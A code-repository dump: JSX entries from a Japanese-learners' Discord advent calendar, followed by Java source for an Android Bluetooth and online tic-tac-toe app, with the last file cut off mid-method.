<p>告白した日も、理性が持たないくらい素敵な姿をしていた。茜色のワイシャツがパンツの中に押し込まれていた。本当に似合っていた。大切な言葉を言い上げた後、彼はしっかりと僕を抱きしめて、「俺も好きだ」、と。例えようもなく幸せな気分だった。</p> <p>僕は生まれながらに、一度も愛されたことがない存在であった。愛を知らなかった僕は、彼から数え切れないくらい、沢山のことを教えてもらった。</p> <p>初めて彼の家に遊びに行った日の僕にも、今彼の隣にいる僕にも、一案が雷のように頭の中に浮かんでしまった。</p> <p>このままずっと彼のそばにいたい、と。</p> </div> </> ) export const metadata = { alias: 'Hagane 波我禰', username: 'Hagane', id: '421470232029167617', index: 7, date: 'December 7', icon: icon } <file_sep>/src/data/entries/15.js import icon from '../icons/adiost.png' import yotsubaUwah from '../emotes/yotsubaUwah.png' import rooMadCry from '../emotes/rooMadCry.png' import prettyThumbsUp from '../emotes/prettyThumbsUp.png' export default ( <> <div> <strong> アドベントカレンダー2020<br/> 12月15日(火) </strong> </div> <div className={'jp'}> <p>皆さんこんにちは!今日は僕のアドベントカレンダーの日だから、どうぞこの短い作文を読んでください。</p> <p>僕は3月にこのサーバーに来ました。その時はひらがなやカタカナしか読めで、それ以外の何もぜんぜん分かりませんでした。実は日本語を勉強したかったのに、目標がなかったと思います。そして、ぼんやりボイのガイドを読んだ結果、日本語で小説を読むことができるようになりたかったと思い知りました。</p> <p> でも、あまり単語を知っていなくて、ぜんぜん文法や漢字を分からない人にとって、小説は言うまでもなく、簡単な練習のためのテキストを読みがたいはずです。そこで、僕の目標のために勉強して始まらなければなりませんでした。難しそうだったというのに、4月にウキウキして勉強し出しました。それから毎日だんだん日本語を勉強してい、且つそのことをいかにも趣味にしました。</p> <p>そのことおかげで、日本語で読むことができるように少しずつなってくることを望んでいます。僕の初めての小説を読んでしまったばかりですよ。…というか、その小説の一巻を読んだだけです。二冊の続編がある文庫本を読んでいるのですから。大したことない功績だったにせよ、本当に嬉しくなりました。あらゆる続編も読みたいですが、紙の本か、または電子ブックリーダー、どちらで読むつもりかまだ決めっていません。電子ブックリーダーのほうが便利であろうと、紙の本を触っているのは一番快いと思うのですね。どうすればいいでしょう…{' '}<img src={yotsubaUwah} className={'emote'} /></p> <p>読むことはいいとしても、実は聞き取ったり、会話したり、書いたりするのについて、僕はいかにもぜんぜん能力を持っていません。<img src={rooMadCry} className={'emote'} />{'  '}でも、最近よく家庭教師と会話を練習しているから、このサーバーで幼児のように喋れる時を今か今かと待ち望んでいます。</p> <p>新しい言語を勉強し出すことは無理そうなのに、素晴らしい人がいるおかげで、こんなサーバーで勉強することは快適なことになっていると本当に思っています。英語を勉強している日本人と日本語を勉強している他の国の人は、みんな、ここにいる以上は、近々ペラペラになるはずですよ。迷わず楽しみながら、一緒に頑張りましょう!{' '}<img src={prettyThumbsUp} className={'emote'} /></p> <p>この中途半端な作文を読んでくれてありがとう。次のアドベントカレンダー時、僕の作文はよくさせられるべきですよ。それまで、精一杯勉強し続けていてみるつもりです。</p> </div> </> ) export const metadata = { alias: '', username: 'Adiost', id: '238326803003867137', index: 15, date: 'December 15', icon: icon } <file_sep>/src/data/entries/3.js import icon from '../icons/victorian.png' export default ( <> <div> December 3, 2020 </div> <div className={'jp'}> <p>一番好きな物</p> <p>一番好きな季節は春、春花がきれいです</p> <p>一番好きな色は黒、僕は思い出を夜空です</p> <p>一番好きな動物は猫、猫が楽しいです</p> <p>一番好きな言葉は果物、いいですね</p> <p>一番好きな楽しい言葉は地球温暖化対策地域推進計画策定ガイドラインと証券取引等監視委員会事務局証券検査課統括検査官と調布市児童館内応急処置設置体制です</p> <p>一番好きな人は皆さん、皆さん優しいです</p> <p>早くメリークリスマス皆さん</p> </div> </> ) export const metadata = { alias: '天使', username: 'Victorian', id: '603081340581314560', index: 3, date: 'December 3', icon: icon }
98ade58bb7fddca1b53fa18ceb66e33f540e35ab
[ "JavaScript", "Markdown" ]
24
JavaScript
espaspw/Advent-Calendar-2020
dc5d4f57586e89a66b4ab39a741326e23ed3e968
b970e571f5c19566551ee67fb5732dacefeba44c
refs/heads/master
<repo_name>surajsau/TicTacBlue<file_sep>/XO/src/com/utils/Loger.java package com.utils; import android.R.string; import android.util.Log; public class Loger { private static boolean canPrintLog = true; private static final String TAG = "MyLogs"; private static final String TAG_ERROR = "MyLogsError"; public static void printLog(String s) { if (canPrintLog) Log.d(TAG, s); } public static void printEror(String s) { if (canPrintLog) Log.e(TAG_ERROR, s); } } <file_sep>/XO/src/com/halfplatepoha/TicTacBlue/gamefield/IGameFieldFragmentAction.java package com.halfplatepoha.TicTacBlue.gamefield; /** * Created by Maksym on 9/1/13. */ public interface IGameFieldFragmentAction { public void beginNewGame(); } <file_sep>/XO/src/com/halfplatepoha/TicTacBlue/openedroom/OnlinePlayersAdapter.java package com.halfplatepoha.TicTacBlue.openedroom; import java.util.HashMap; import java.util.List; import java.util.Map; import net.protocol.Protocol; import android.content.Context; import android.view.LayoutInflater; import android.view.View; import android.view.View.OnClickListener; import android.view.ViewGroup; import android.widget.BaseAdapter; import android.widget.CheckBox; import android.widget.TextView; import android.widget.Toast; import com.entity.Player; import com.halfplatepoha.TicTacBlue.Controller; import com.halfplatepoha.TicTacBlue.R; public class OnlinePlayersAdapter extends BaseAdapter { private static final String LOG_TAG = OnlinePlayersAdapter.class.getName(); private Context context; private Player myPlayer; private List<Player> players; private LayoutInflater layoutInflater; protected int pos = Integer.MIN_VALUE; private Map<Integer, Boolean> booleanMap; public OnlinePlayersAdapter(Context context, List<Player> players) { this.context = context; this.players = players; layoutInflater = (LayoutInflater) context .getSystemService(Context.LAYOUT_INFLATER_SERVICE); myPlayer = Controller.getInstance().getPlayer(); booleanMap = new HashMap<Integer, Boolean>(); } @Override public int getCount() { return players.size(); } public int getIdLast() { return pos; } public void removePlayer(Player player) { int index = players.indexOf(player); booleanMap.remove(index); players.remove(player); // notifyDataSetChanged(); } @Override public Object getItem(int arg0) { return players.get(arg0); } @Override public long getItemId(int arg0) { return arg0; } @Override public View getView(int position, View convertView, ViewGroup parent) { // Log.d(LOG_TAG, "getView pos: " + position + " " + convertView); ViewHolder viewHolder; if (convertView == null) { viewHolder = new ViewHolder(); convertView = layoutInflater.inflate(R.layout.online_players_list_item, parent, false); viewHolder.name = ((TextView) convertView.findViewById(R.id.tv_player_name)); viewHolder.rating = ((TextView) convertView.findViewById(R.id.tv_player_rating)); viewHolder.checkBox = (CheckBox) convertView.findViewById(R.id.check_box_invite_to_play); convertView.setTag(viewHolder); } else { viewHolder = (ViewHolder) convertView.getTag(); } convertView.setOnClickListener(new ItemClickListener(position)); viewHolder.name.setText(players.get(position).getName()); viewHolder.rating.setText("" + players.get(position).getRating()); viewHolder.position = position; if (booleanMap.containsKey(position)) { viewHolder.checkBox.setChecked(booleanMap.get(position)); } else { viewHolder.checkBox.setChecked(false); } return convertView; } private static class ViewHolder { TextView name; int position; TextView rating; CheckBox checkBox; boolean isChecked; } private class ItemClickListener implements OnClickListener { private int position; public ItemClickListener(int position) { this.position = position; } @Override public void onClick(View v) { pos = ((ViewHolder) v.getTag()).position; CheckBox checkBox = (CheckBox) v.findViewById(R.id.check_box_invite_to_play); checkBox.setChecked(!checkBox.isChecked()); Player player = null; if (players.size() > 0 && pos >= 0) { player = players.get(pos); } // Log.d(LOG_TAG,"position " + position); booleanMap.put(position, checkBox.isChecked()); if (checkBox.isChecked()) { Toast.makeText(context, context.getString(R.string.player) + " " + player.getName() + " " + context.getString(R.string.want_to_battle_with_you), Toast.LENGTH_SHORT).show(); Controller.getInstance().getOnlineWorker() .sendPacket(Protocol.SWantToPlay.newBuilder() .setOpponentId(player.getId()) .setPlayerId(myPlayer.getId()).build()); } else { Controller.getInstance().getOnlineWorker(). sendPacket(Protocol.SCancelDesirePlay.newBuilder(). setPlayerId(myPlayer.getId()) .setOpponentId(player.getId()).build()); } } } } <file_sep>/XO/src/com/halfplatepoha/TicTacBlue/gamefield/GameFieldActivityAction.java package com.halfplatepoha.TicTacBlue.gamefield; import com.halfplatepoha.TicTacBlue.chat.ChatMessage; /** * Created by Maksym on 9/1/13. */ public interface GameFieldActivityAction { public void showWonPopup(String wonPlayerName); public void opponentExitFromGame(); public void connectionToServerLost(); public void receivedChatMessage(ChatMessage chatMessage); } <file_sep>/XO/src/com/halfplatepoha/TicTacBlue/popup/NegativeButtonListener.java package com.halfplatepoha.TicTacBlue.popup; import android.content.DialogInterface; /** * Created by Maksym on 7/14/13. */ public interface NegativeButtonListener { public DialogInterface.OnClickListener getClickListenet(); } <file_sep>/XO/src/com/halfplatepoha/TicTacBlue/GameType.java package com.halfplatepoha.TicTacBlue; public enum GameType { ONLINE, BLUETOOTH, ANDROID, FRIEND; } <file_sep>/XO/src/com/bluetooth/BluetoothServiceViaProtobuf.java package com.bluetooth; /** * Created by Maksym on 6/20/13. */ import android.app.Activity; import android.bluetooth.BluetoothAdapter; import android.bluetooth.BluetoothDevice; import android.bluetooth.BluetoothServerSocket; import android.bluetooth.BluetoothSocket; import android.os.Handler; import android.os.Looper; import android.util.Log; import android.widget.Toast; import com.bluetooth.protocol.BluetoothProtocol; import com.entity.OneMove; import com.entity.TypeOfMove; import com.google.protobuf.AbstractMessageLite; import com.bluetooth.protobuf.BluetoothProtoFactory; import com.bluetooth.protobuf.BluetoothProtoType; import java.io.BufferedInputStream; import java.io.DataInputStream; import java.io.DataOutputStream; import java.io.IOException; import java.io.InputStream; import java.util.ArrayList; import java.util.List; import java.util.UUID; public class BluetoothServiceViaProtobuf implements BluetoothService<AbstractMessageLite> { // Name for the SDP record when creating server socket private static final String NAME_SECURE = "BluetoothChatSecure"; private static final String NAME_INSECURE = "BluetoothChatInsecure"; public static final int MESSAGE_STATE_CHANGE = 1; private static final int MAX_QUANTITY_CONNECT = 3; // Unique UUID for this application private static final UUID MY_UUID_SECURE = UUID.fromString("00001101-0000-1000-8000-00805F9B34FB"); private static final UUID MY_UUID_INSECURE = UUID.fromString("00001101-0000-1000-8000-00805F9B34FB"); private boolean D = true; public static final String TAG = BluetoothServiceViaProtobuf.class.getCanonicalName(); private int mState; private final BluetoothAdapter mAdapter; private List<Handler> handlerList; //THREADS private AcceptThread mSecureAcceptThread; private AcceptThread mInsecureAcceptThread; private ConnectThread mConnectThread; private TransferThread mTransferThread; // private Activity activity; private Handler handler; private IBluetoothGameListener bluetoothGameListener; private String playerName; private int quantityOfAttemptToConnect = 0; public BluetoothServiceViaProtobuf(String playerName) { mAdapter = BluetoothAdapter.getDefaultAdapter(); mState = STATE_NONE; handler = new Handler(Looper.getMainLooper()); handlerList = new ArrayList<Handler>(); this.playerName = playerName; } @Override public void registerListener(IBluetoothGameListener iServiceListener) { bluetoothGameListener = iServiceListener; } @Override public void unRegisterListener() { bluetoothGameListener = null; } /** * Set the current state of the chat connection * * @param state An integer defining the current connection state */ private synchronized void setState(int state) { if (D) Log.d(TAG, "setState() " + mState + " -> " + state); mState = state; // Give the new state to the Handler so the UI Activity can update for (Handler mHandler : handlerList) mHandler.obtainMessage(MESSAGE_STATE_CHANGE, state, -1).sendToTarget(); } @Override public void start() { if (D) Log.d(TAG, "start"); // Cancel any thread attempting to make a connection if (mConnectThread != null) { mConnectThread.cancel(); mConnectThread = null; } // Cancel any thread currently running a connection if (mTransferThread != null) { mTransferThread.cancel(); mTransferThread = null; } setState(STATE_LISTENING); // Start the thread to listen on a BluetoothServerSocket // if (mSecureAcceptThread == null) { // mSecureAcceptThread = new AcceptThread(true); // mSecureAcceptThread.start(); // } if (mInsecureAcceptThread != null) { mInsecureAcceptThread.cancel(); mInsecureAcceptThread = null; } if (mInsecureAcceptThread == null) { mInsecureAcceptThread = new AcceptThread(false); mInsecureAcceptThread.start(); } } @Override public void sentPacket(AbstractMessageLite o) { mTransferThread.write(o); } @Override public void registerHandler(Handler handler) { handlerList.add(handler); } @Override public boolean unRegisterHandler(Handler handler) { return handlerList.remove(handler); } @Override public void stop() { if (D) Log.d(TAG, "stop"); if (mConnectThread != null) { mConnectThread.cancel(); mConnectThread = null; } if (mTransferThread != null) { mTransferThread.cancel(); mTransferThread = null; } if (mSecureAcceptThread != null) { mSecureAcceptThread.cancel(); mSecureAcceptThread = null; } if (mInsecureAcceptThread != null) { mInsecureAcceptThread.cancel(); mInsecureAcceptThread = null; } setState(STATE_NONE); } @Override public int getState() { return mState; // } /** * Start the ConnectThread to initiate a connection to a remote device. * * @param device The BluetoothDevice to connect * @param secure Socket Security type - Secure (true) , Insecure (false) */ @Override public synchronized void connect(BluetoothDevice device, boolean secure) { if (D) Log.d(TAG, "connect to: " + device); // Cancel any thread attempting to make a connection if (mState == STATE_CONNECTING) { if (mConnectThread != null) { mConnectThread.cancel(); mConnectThread = null; } } // Cancel any thread currently running a connection if (mTransferThread != null) { mTransferThread.cancel(); mTransferThread = null; } // Start the thread to connect with the given device mConnectThread = new ConnectThread(device, secure); mConnectThread.start(); setState(STATE_CONNECTING); } /** * Start the TransferThread to begin managing a Bluetooth connection * * @param socket The BluetoothSocket on which the connection was made * @param device The BluetoothDevice that has been startTranferThread */ public synchronized void startTranferThread(BluetoothSocket socket, BluetoothDevice device, final String socketType) { if (D) Log.d(TAG, "startTranferThread, Socket FieldType:" + socketType); // Cancel the thread that completed the connection if (mConnectThread != null) { mConnectThread.cancel(); mConnectThread = null; } // Cancel any thread currently running a connection if (mTransferThread != null) { mTransferThread.cancel(); mTransferThread = null; } // Cancel the accept thread because we only want to connect to one device // if (mSecureAcceptThread != null) { // mSecureAcceptThread.cancel(); // mSecureAcceptThread = null; // } if (mInsecureAcceptThread != null) { mInsecureAcceptThread.cancel(); mInsecureAcceptThread = null; } // Start the thread to manage the connection and perform transmissions mTransferThread = new TransferThread(socket, socketType); mTransferThread.start(); // Send the name of the startTranferThread device back to the UI Activity // Message msg = mHandler.obtainMessage(BluetoothChat.MESSAGE_DEVICE_NAME); // Bundle bundle = new Bundle(); // bundle.putString(BluetoothChat.DEVICE_NAME, device.getName()); // msg.setData(bundle); // mHandler.sendMessage(msg); setState(STATE_CONNECTED); } /** * Indicate that the connection attempt failed and notify the UI Activity. */ private void connectionFailed() { // Send a failure message back to the Activity // Message msg = mHandler.obtainMessage(BluetoothChat.MESSAGE_TOAST); // Bundle bundle = new Bundle(); // bundle.putString(BluetoothChat.TOAST, "Unable to connect device"); // msg.setData(bundle); // mHandler.sendMessage(msg); // Start the service over to restart listening mode // BluetoothServiceViaProtobuf.this.start(); handler.post(new Runnable() { @Override public void run() { if (bluetoothGameListener != null) { bluetoothGameListener.connectionFailed(); } } }); } /** * Indicate that the connection was lost and notify the UI Activity. */ private void connectionLost() { // Send a failure message back to the Activity // Message msg = mHandler.obtainMessage(BluetoothChat.MESSAGE_TOAST); // Bundle bundle = new Bundle(); // bundle.putString(BluetoothChat.TOAST, "Device connection was lost"); // msg.setData(bundle); // mHandler.sendMessage(msg); // Start the service over to restart listening mode handler.post(new Runnable() { @Override public void run() { if (bluetoothGameListener != null) { bluetoothGameListener.playerExitFromGame(); } } }); } /** * This thread runs while listening for incoming connections. It behaves * like a server-side client. It runs until a connection is accepted * (or until cancelled). */ public class AcceptThread extends Thread { // The local server socket private final BluetoothServerSocket mmServerSocket; private String mSocketType; public AcceptThread(boolean secure) { BluetoothServerSocket tmp = null; mSocketType = secure ? "Secure" : "Insecure"; try { tmp = mAdapter.listenUsingRfcommWithServiceRecord( NAME_INSECURE, MY_UUID_INSECURE); } catch (IOException e) { Log.e(TAG, "Socket FieldType: " + mSocketType + "listen() failed", e); } mmServerSocket = tmp; } public void run() { if (D) Log.d(TAG, "Socket FieldType: " + mSocketType + "BEGIN mAcceptThread" + this); setName("AcceptThread" + mSocketType); BluetoothSocket socket = null; // Listen to the server socket if we're not startTranferThread while (mState != STATE_CONNECTED) { try { // This is a blocking call and will only return on a // successful connection or an exception Log.d(TAG, "Socket " + socket + " | ServerSocket " + mmServerSocket); // activity.runOnUiThread(new Runnable() { // @Override // public void run() { // Toast toast = Toast.makeText(activity, "created server for connecting ", Toast.LENGTH_LONG); // toast.show(); // } // }); socket = mmServerSocket.accept(); // activity.runOnUiThread(new Runnable() { // @Override // public void run() { // Toast toast = Toast.makeText(activity, "! new accepted Socket !", Toast.LENGTH_LONG); // toast.show(); // } // }); Log.d(TAG, "new accepted Socket with " + socket.getRemoteDevice().getName()); } catch (final Exception e) { Log.e(TAG, "Socket FieldType: " + mSocketType + "accept() failed", e); // BluetoothServiceViaProtobuf.this.start(); // activity.runOnUiThread(new Runnable() { // @Override // public void run() { // Toast toast = Toast.makeText(activity, "EXCEPTION " + e.toString(), Toast.LENGTH_LONG); // toast.show(); // } // }); return; } // If a connection was accepted if (socket != null) { synchronized (BluetoothServiceViaProtobuf.this) { switch (mState) { case STATE_LISTENING: case STATE_CONNECTING: // Situation normal. Start the startTranferThread thread. startTranferThread(socket, socket.getRemoteDevice(), mSocketType); mState = STATE_CONNECTED; return; case STATE_NONE: case STATE_CONNECTED: // Either not ready or already startTranferThread. Terminate new socket. try { socket.close(); } catch (IOException e) { Log.e(TAG, "Could not close unwanted socket", e); } break; } } } } if (D) Log.i(TAG, "END mAcceptThread, socket FieldType: " + mSocketType + " " + BluetoothServiceViaProtobuf.this.getState()); } public void cancel() { if (D) Log.d(TAG, "Socket FieldType" + mSocketType + "stop " + this); try { mmServerSocket.close(); } catch (IOException e) { Log.e(TAG, "Socket FieldType" + mSocketType + "close() of server failed", e); } } } /** * This thread runs while attempting to make an outgoing connection * with a device. It runs straight through; the connection either * succeeds or fails. */ private class ConnectThread extends Thread { private final BluetoothSocket mmSocket; private final BluetoothDevice mmDevice; private String mSocketType; private boolean secure; public ConnectThread(BluetoothDevice device, boolean secure) { mmDevice = device; BluetoothSocket bluetoothSocketTmp = null; this.secure = secure; mSocketType = secure ? "Secure" : "Insecure"; // Get a BluetoothSocket for a connection with the // given BluetoothDevice try { if (secure) { bluetoothSocketTmp = device.createRfcommSocketToServiceRecord( MY_UUID_SECURE); } else { bluetoothSocketTmp = device.createInsecureRfcommSocketToServiceRecord( MY_UUID_INSECURE); } } catch (IOException e) { Log.e(TAG, "Socket FieldType: " + mSocketType + "create() failed", e); // activity.runOnUiThread(new Runnable() { // @Override // public void run() { // Toast.makeText(activity, "Fail in creating socket from device", Toast.LENGTH_SHORT).show(); // } // }); } mmSocket = bluetoothSocketTmp; } public void run() { Log.i(TAG, "BEGIN mConnectThread SocketType:" + mSocketType); setName("ConnectThread" + mSocketType); // Always stop discovery because it will slow down a connection mAdapter.cancelDiscovery(); // Make a connection to the BluetoothSocket try { // This is a blocking call and will only return on a // successful connection or an exception mmSocket.connect(); // activity.runOnUiThread(new Runnable() { // @Override // public void run() { // Toast toast = Toast.makeText(activity, "SUCCESS startTranferThread to " + mmSocket.getRemoteDevice().getName(), Toast.LENGTH_LONG); // toast.show(); // } // }); } catch (final Exception e) { // Close the socket Log.e(TAG, "connection failed : ", e); // activity.runOnUiThread(new Runnable() { // @Override // public void run() { // Toast toast = Toast.makeText(activity, "connection failed in creating socket: " + e.toString(), Toast.LENGTH_LONG); // toast.show(); // } // }); if (quantityOfAttemptToConnect++ < MAX_QUANTITY_CONNECT) { try { Thread.sleep(200); } catch (InterruptedException e1) { e1.printStackTrace(); } connect(mmDevice, secure); } else { connectionFailed(); } return; } // Reset the ConnectThread because we're done synchronized (BluetoothServiceViaProtobuf.this) { mConnectThread = null; } // Start the transfer thread startTranferThread(mmSocket, mmDevice, mSocketType); } public void cancel() { try { mmSocket.close(); } catch (IOException e) { Log.e(TAG, "close() of connect " + mSocketType + " socket failed", e); } } } /** * This thread runs during a connection with a remote device. * It handles all incoming and outgoing transmissions. */ private class TransferThread extends Thread { private final BluetoothSocket mmSocket; private final DataOutputStream dataOutputStream; private final DataInputStream dataInputStream; private final InputStream inputStream; private boolean isThreadWorking = true; public TransferThread(BluetoothSocket socket, String socketType) { Log.d(TAG, "create TransferThread: " + socketType); mmSocket = socket; DataInputStream tempDI = null; DataOutputStream tempDO = null; InputStream teStream = null; // Get the BluetoothSocket input and output streams try { teStream = socket.getInputStream(); tempDI = new DataInputStream(new BufferedInputStream(socket.getInputStream())); tempDO = new DataOutputStream(socket.getOutputStream()); } catch (IOException e) { Log.e(TAG, "temp sockets not created", e); } dataOutputStream = tempDO; dataInputStream = tempDI; inputStream = teStream; } public void run() { Log.i(TAG, "BEGIN mTransferThread"); // Keep listening to the InputStream while startTranferThread sentPacket(BluetoothProtocol.StartGame.newBuilder().setOponentName(playerName).build()); while (isThreadWorking) { try { byte type = dataInputStream.readByte(); int length = dataInputStream.readInt(); byte data[] = new byte[length]; dataInputStream.read(data); final BluetoothProtoType protoType = BluetoothProtoType.fromByte(type); Log.d(TAG, "received type " + protoType + " t " + type); switch (protoType) { case DID_MOVE: final BluetoothProtocol.DidMove didMove = BluetoothProtocol.DidMove.parseFrom(data); handler.post(new Runnable() { @Override public void run() { OneMove oneMove = new OneMove(didMove.getI(), didMove.getJ(), (didMove.getType() == BluetoothProtocol.TypeMove.X) ? TypeOfMove.X : TypeOfMove.O); bluetoothGameListener.receivedNewOneMove(oneMove); } }); break; case CHAT_MESSAGE: final BluetoothProtocol.ChatMessage chatMessage = BluetoothProtocol.ChatMessage.parseFrom(data); handler.post(new Runnable() { @Override public void run() { bluetoothGameListener.receivedNewChatMessage(chatMessage.getMessage()); } }); break; case EXIT_FROM_GAME: handler.post(new Runnable() { @Override public void run() { bluetoothGameListener.playerExitFromGame(); } }); break; case STAR_GAME: final BluetoothProtocol.StartGame startGame = BluetoothProtocol.StartGame.parseFrom(data); handler.post(new Runnable() { @Override public void run() { bluetoothGameListener.startGame(startGame.getOponentName()); } }); break; case CONTINUE_GAME: handler.post(new Runnable() { @Override public void run() { bluetoothGameListener.continueGame(); } }); break; case TIME_FINISHED: handler.post(new Runnable() { @Override public void run() { bluetoothGameListener.opponentsTimeFinished(); } }); break; } // activity.runOnUiThread(new Runnable() { // @Override // public void run() { // Toast.makeText(activity, "NEW MESSAGE + " + protoType.toString(), Toast.LENGTH_LONG).show(); // } // }); } catch (IOException e) { Log.e(TAG, "disconnected", e); connectionLost(); return; } } } /** * Write to the startTranferThread OutStream. */ public void write(AbstractMessageLite messageLite) { byte type = BluetoothProtoType.fromClass(messageLite.getClass()).getByteValue(); byte data[] = messageLite.toByteArray(); int length = data.length; Log.d(TAG, "send " + " type " + type); try { dataOutputStream.writeByte(type); dataOutputStream.writeInt(length); dataOutputStream.write(data); } catch (IOException e) { e.printStackTrace(); } // Share the sent message back to the UI Activity // mHandler.obtainMessage(BluetoothChat.MESSAGE_WRITE, -1, -1, buffer) // .sendToTarget(); } public void cancel() { isThreadWorking = false; try { mmSocket.close(); dataOutputStream.close(); dataInputStream.close(); } catch (IOException e) { Log.e(TAG, "close() of connect socket failed", e); } } } } <file_sep>/XO/src/com/halfplatepoha/TicTacBlue/gamefield/handler/OnlineGameHandler.java package com.halfplatepoha.TicTacBlue.gamefield.handler; import java.util.List; import net.protocol.Protocol; import android.os.Handler; import android.os.Message; import android.widget.TextView; import com.entity.OneMove; import com.entity.Player; import com.entity.TypeOfMove; import com.halfplatepoha.TicTacBlue.GameType; import com.halfplatepoha.TicTacBlue.R; import com.halfplatepoha.TicTacBlue.chat.ChatMessage; import com.halfplatepoha.TicTacBlue.gamefield.GameFieldActivityAction; import com.halfplatepoha.TicTacBlue.gamefield.GameFieldAdapter; import com.halfplatepoha.TicTacBlue.gamefield.GameFieldItem; import com.halfplatepoha.TicTacBlue.gamefield.OneMoveTimer; import com.net.online.WorkerOnlineConnection; import com.net.online.protobuf.ProtoType; import com.utils.Loger; public class OnlineGameHandler extends GlobalHandler implements IGameHandler { private static final int TIME_FOR_MOVE_IN_SEC = 60; private Handler handler; private WorkerOnlineConnection onlineGameWorker; private boolean isPlayerMoveFirst; private OneMoveTimer moveTimer; public OnlineGameHandler(final WorkerOnlineConnection onlineGameWorker, Player player, final Player opponent, GameFieldActivityAction fieldActivityAction, final boolean isPlayerMoveFirst) { super(player, opponent, fieldActivityAction); this.onlineGameWorker = onlineGameWorker; this.isPlayerMoveFirst = isPlayerMoveFirst; moveTimer = new OneMoveTimer(TIME_FOR_MOVE_IN_SEC, timerListener); this.handler = new Handler() { @Override public void handleMessage(Message msg) { ProtoType protoType = ProtoType.fromInt(msg.what); switch (protoType) { case CDIDMOVE: Protocol.CDidMove cDidMove = (Protocol.CDidMove) msg.obj; Loger.printLog(cDidMove.toString()); TypeOfMove typeFieldElement = (cDidMove.getType() .equals(Protocol.TypeMove.X) ? TypeOfMove.X : TypeOfMove.O); OneMove oneMove = new OneMove(cDidMove.getI(), cDidMove.getJ(), typeFieldElement); gameFieldAdapter.setEnableAllUnusedGameField(true); gameFieldAdapter.showOneMove(oneMove, true); List<OneMove> list = gameFieldWinLineHandler.oneMove(oneMove); if (list != null) { wonGame(list); } else { moveTimer.startNewTimer(true); } changeIndicator(); break; case CEXITFROMGAME: OnlineGameHandler.this.activityAction.opponentExitFromGame(); break; case CCONTINUEGAME: Protocol.CContinueGame cContinueGame = (Protocol.CContinueGame) msg.obj; Protocol.TypeMove typeOfMove = cContinueGame.getType(); if (typeOfMove == Protocol.TypeMove.X) { moveTimer.startNewTimer(false); indicator = FIRST_PLAYER; OnlineGameHandler.super.player.setMoveType(TypeOfMove.X); OnlineGameHandler.super.opponent.setMoveType(TypeOfMove.O); tvPlayer1Name.setBackgroundResource(SELECT_PLAYER_BACKGROUND); tvPlayer2Name.setBackgroundResource(R.drawable.button_white); gameFieldAdapter.setEnableAllUnusedGameField(true); } else { indicator = SECOND_PLAYER; moveTimer.startNewTimer(true); OnlineGameHandler.super.player.setMoveType(TypeOfMove.O); OnlineGameHandler.super.opponent.setMoveType(TypeOfMove.X); tvPlayer2Name.setBackgroundResource(SELECT_PLAYER_BACKGROUND); tvPlayer1Name.setBackgroundResource(R.drawable.button_white); } break; case CCHATMESSAGE: Protocol.CChatMessage cChatMessage = (Protocol.CChatMessage) msg.obj; activityAction.receivedChatMessage(new ChatMessage(cChatMessage.getMessage(), opponent.getName())); break; case CONNECTION_TO_SERVER_LOST: activityAction.connectionToServerLost(); break; case TIME_FOR_MOVE_FULL_UP: Loger.printEror("received TIME_FOR_MOVE_FULL_UP"); gameFieldAdapter.setEnableAllUnusedGameField(true); changeIndicator(); moveTimer.startNewTimer(true); break; } super.handleMessage(msg); } }; onlineGameWorker.registerHandler(handler); } private OneMoveTimer.TimerListener timerListener = new OneMoveTimer.TimerListener() { @Override public void timeChanged(int time) { tvTimeInsicator.setText(String.valueOf(time)); } @Override public void timeFinished() { if (onlineGameWorker != null) { onlineGameWorker.sendPacket(Protocol.TimeForMoveFullUp. newBuilder().setTimeFullUp(true).build()); } gameFieldAdapter.setEnableAllUnusedGameField(false); changeIndicator(); moveTimer.startNewTimer(false); } }; public List<OneMove> performedOneMove(OneMove oneMove) { Protocol.SDidMove sDidMove = Protocol.SDidMove .newBuilder() .setOpponentId(opponent.getId()) .setPlayerId(player.getId()) .setJ(oneMove.j) .setI(oneMove.i) .setType( (oneMove.type.equals(TypeOfMove.X)) ? Protocol.TypeMove.X : Protocol.TypeMove.O).build(); onlineGameWorker.sendPacket(sDidMove); List<OneMove> list = gameFieldWinLineHandler.oneMove(oneMove); if (list != null) { wonGame(list); onlineGameWorker.sendPacket(Protocol.SWonGame.newBuilder().setIdWonPlayer(player.getId()). setIdLostPlayer(opponent.getId()).build()); } else { moveTimer.startNewTimer(false); } return list; } @Override public GameFieldItem.FieldType occurredMove(int i, int j) { GameFieldItem.FieldType type = null; OneMove oneMove = null; if (indicator == FIRST_PLAYER) { type = (player.getMoveType() == TypeOfMove.X) ? GameFieldItem.FieldType.X : GameFieldItem.FieldType.O; oneMove = new OneMove(i, j, player.getMoveType()); } else if (indicator == SECOND_PLAYER) { type = (opponent.getMoveType() == TypeOfMove.X) ? GameFieldItem.FieldType.X : GameFieldItem.FieldType.O; oneMove = new OneMove(i, j, opponent.getMoveType()); } gameFieldAdapter.showOneMove(oneMove); performedOneMove(oneMove); changeIndicator(); gameFieldAdapter.setEnableAllUnusedGameField(false); return type; } @Override protected void wonGame(List<OneMove> list) { if (indicator == FIRST_PLAYER) { player1ScoreNum++; player.setNumOfAllWonGame(player.getNumOfAllWonGame() + 1); tvPlayer1Score.setText(player1ScoreNum + " (" + player.getNumOfAllWonGame() + ")"); } else { player2ScoreNum++; opponent.setNumOfAllWonGame(opponent.getNumOfAllWonGame() + 1); tvPlayer2Score.setText(player2ScoreNum + " (" + opponent.getNumOfAllWonGame() + ")"); } gameFieldWinLineHandler.newGame(); gameFieldAdapter.drawWinLine(list); activityAction.showWonPopup((indicator == FIRST_PLAYER) ? player.getName() : opponent.getName()); } public void sendMessage(String message) { Protocol.SChatMessage chatMessage = Protocol.SChatMessage.newBuilder() .setMessage(message).setPlayerId(player.getId()) .setOpponentId(opponent.getId()).build(); onlineGameWorker.sendPacket(chatMessage); } public GameType getGameType() { return GameType.ONLINE; } public Handler getHandler() { return handler; } @Override public void setAdapter(GameFieldAdapter adapter) { this.gameFieldAdapter = adapter; } @Override public void setPlayer1TextView(TextView player1TexView) { this.tvPlayer1Name = player1TexView; this.tvPlayer1Name.setText(player.getName()); } @Override public void setPlayer2TextView(TextView player2TexView) { this.tvPlayer2Name = player2TexView; this.tvPlayer2Name.setText(opponent.getName()); } @Override public void setPlayer1ScoreTextView(TextView score1TexView) { tvPlayer1Score = score1TexView; tvPlayer1Score.setText(0 + " (" + player.getNumOfAllWonGame() + ")"); } @Override public void setPlayer2ScoreTextView(TextView score2TexView) { tvPlayer2Score = score2TexView; tvPlayer2Score.setText(0 + " (" + opponent.getNumOfAllWonGame() + ")"); } @Override public void setTimerTextView(TextView 